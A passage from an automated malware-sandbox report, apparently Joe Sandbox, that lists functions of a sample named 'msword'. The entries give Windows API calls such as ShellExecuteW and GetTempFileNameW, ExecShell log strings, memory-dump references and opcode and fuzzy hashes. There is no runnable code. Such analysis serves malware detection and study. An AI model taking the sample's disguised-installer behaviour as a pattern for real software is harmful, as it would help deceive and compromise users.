                                                                              • Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
                                                                              • Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D
                                                                            • ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            Strings
                                                                            • ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
                                                                            • ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
                                                                            • String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
                                                                            • API String ID: 3156913733-2180253247
                                                                            • Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
                                                                            • Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
                                                                            • Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
                                                                            • Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139
                                                                            Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetTickCount.KERNEL32 ref: 00405E9D
                                                                            • GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: CountFileNameTempTick
                                                                            • String ID: nsa
                                                                            • API String ID: 1716503409-2209301699
                                                                            • Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
                                                                            • Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
                                                                            • Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
                                                                            • Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798
                                                                            Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • ShowWindow.USER32(00000000,00000000), ref: 0040219F
                                                                              • Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
                                                                              • Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7
                                                                            • EnableWindow.USER32(00000000,00000000), ref: 004021AA
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Window$EnableShowlstrlenwvsprintf
                                                                            • String ID: HideWindow
                                                                            • API String ID: 1249568736-780306582
                                                                            • Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
                                                                            • Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
                                                                            • Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
                                                                            • Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D
                                                                            Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
                                                                            • Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
                                                                            • Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
                                                                            • Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85
                                                                            Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
                                                                            • Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
                                                                            • Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
                                                                            • Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89
                                                                            Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
                                                                            • Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
                                                                            • Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
                                                                            • Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86
                                                                            Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
                                                                            • Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
                                                                            • Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
                                                                            • Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85
                                                                            Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
                                                                            • Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
                                                                            • Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
                                                                            • Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86
                                                                            Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
                                                                            • Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
                                                                            • Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
                                                                            • Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86
                                                                            Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GlobalFree.KERNELBASE(?), ref: 004073C5
                                                                            • GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
                                                                            • GlobalFree.KERNELBASE(?), ref: 0040743D
                                                                            • GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: Global$AllocFree
                                                                            • String ID:
                                                                            • API String ID: 3394109436-0
                                                                            • Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
                                                                            • Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
                                                                            • Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
                                                                            • Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85
                                                                            Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
                                                                            • SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend
                                                                            • String ID:
                                                                            • API String ID: 3850602802-0
                                                                            • Opcode ID: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
                                                                            • Instruction ID: d71d45502f518029c3ce7990b7c8d381ac94a1bb539c673c2af025244294d997
                                                                            • Opcode Fuzzy Hash: 5a31974c6ff286c329462761e498969acf5a6972bf7682297af78da516706e42
                                                                            • Instruction Fuzzy Hash: 96F0F471A10220DFD7555B74DD04B273699AB80361F24463BF911F62F1E6B8DC528B4E
                                                                            Function 00405E50 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
                                                                            • CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
                                                                            • Associated: 00000010.00000002.2024407494.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024456376.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000040B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000041F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000042B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.0000000000461000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.000000000048F000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B3000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004B7000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024478760.00000000004BF000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                            • Associated: 00000010.00000002.2024709098.00000000004F4000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_16_2_400000_msword.jbxd
                                                                            Similarity
                                                                            • API ID: File$AttributesCreate
                                                                            • String ID:
                                                                            • API String ID: 415043291-0
                                                                            • Opcode ID: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
                                                                            • Instruction ID: fe2e31f24f36ecb58ba6038de6e4569557e5a61990f2f31681ab57118d472e11
                                                                            • Opcode Fuzzy Hash: 6f817a4f04f8c8cc68f88398dd52813d28edb2112aa12cde00d29204b34f1fbe
                                                                            • Instruction Fuzzy Hash: BCD09E71554202EFEF098F60DE1AF6EBBA2FB94B00F11852CB292550F0DAB25819DB15
                                                                            Function 00405E30 Relevance: 3.0, APIs: 2, Instructions: 9COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetFileAttributesW.KERNELBASE(?,00406E81,?,?,?), ref: 00405E34
                                                                            • SetFileAttributesW.KERNEL32(?,00000000), ref: 00405E47
                                                                            Memory Dump Source
                                                                            • Source File: 00000010.00000002.2024435618.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true
